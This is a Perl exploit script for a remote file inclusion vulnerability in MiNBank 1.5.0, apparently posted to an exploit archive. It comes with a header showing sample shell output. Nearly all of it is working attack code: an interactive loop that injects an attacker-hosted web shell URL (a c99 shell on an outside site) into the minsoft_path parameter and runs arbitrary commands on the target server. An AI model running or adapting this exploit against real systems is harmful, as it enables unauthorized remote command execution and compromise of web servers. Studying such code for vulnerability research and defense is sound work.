MiNBank 1.5.0 - Remote Command Execution

#!/usr/bin/perl
####################################################################
# MiNBank 1.5.0 Remote Command Execution Exploit
# download: http://downloads.sourceforge.net/minbank/
#
# Author: Jose Luis Gongora Fernandez 'aka' JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
#
# "need" allow_url_include = On && register_globals = On
#
#  Attack vector_RFI!: [/minba/utility/utgn_message.php]
#     ...
#      require_once("$minsoft_path/utility/utgn_config.php");
#     ...
#
####################################################################
# OUTPUT: (tested on localhost)
#
# [shell]:~$ id
#  uid=33(www-data) gid=33(www-data) groups=33(www-data)
# [shell]:~$ uname -a
#  Linux h4x0rz 2.6.18-6-686 #1 SMP Fri Dec 12 16:48:28 UTC 2008 i686 GNU/Linux
# [shell]:~$ exit
# h4x0rz:/home/joss/Desktop#


use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;

sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}

&clear();

sub banner {
        &clear();
	print "[x] MiNBank 1.5.0 Remote Command Execution Exploit\n";
	print "[x] Written By JosS\n";
	print "[x] sys-project[at]hotmail[dot]com\n\n";
	print "[+] Usage:\n";
	print "[+]     $0 -vuln \"web+path\" -shell \"shell\"\n";
	print "[+] eX: $0 -vuln \"http://www.hack0wn.com/test/\" -shell \"http://hack0wn.com/desc/c99.txt?\"\n\n";
        exit();
}

my $options = GetOptions (
  'help!'            => \$help, 
  'vuln=s'            => \$vuln, 
  'shell=s'            => \$shell
  );

&banner unless ($vuln);
&banner unless ($shell);

&banner if $banner eq 1;

chomp($vuln);
chomp($shell);

while (){

	print "[shell]:~\$ ";
	chomp($cmd=<STDIN>);

	if ($cmd eq "exit" || $cmd eq "quit") {
		exit 0;
	}

	my $ua = LWP::UserAgent->new;
        $iny="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";
        chomp($iny);
        my $own = $vuln . "/minba/utility/utgn_message.php?minsoft_path=" . $shell . $iny;
        chomp($own);
	my $req = HTTP::Request->new(GET => $own);
	my $res = $ua->request($req);
	my $con = $res->content;
	if ($res->is_success){
		print $1,"\n" if ( $con =~ m/readonly> (.*?)\<\/textarea>/mosix);
	}
           else
             {
                print "[p0c] Exploit failed\n";
                exit(1);
             }
}

# __h0__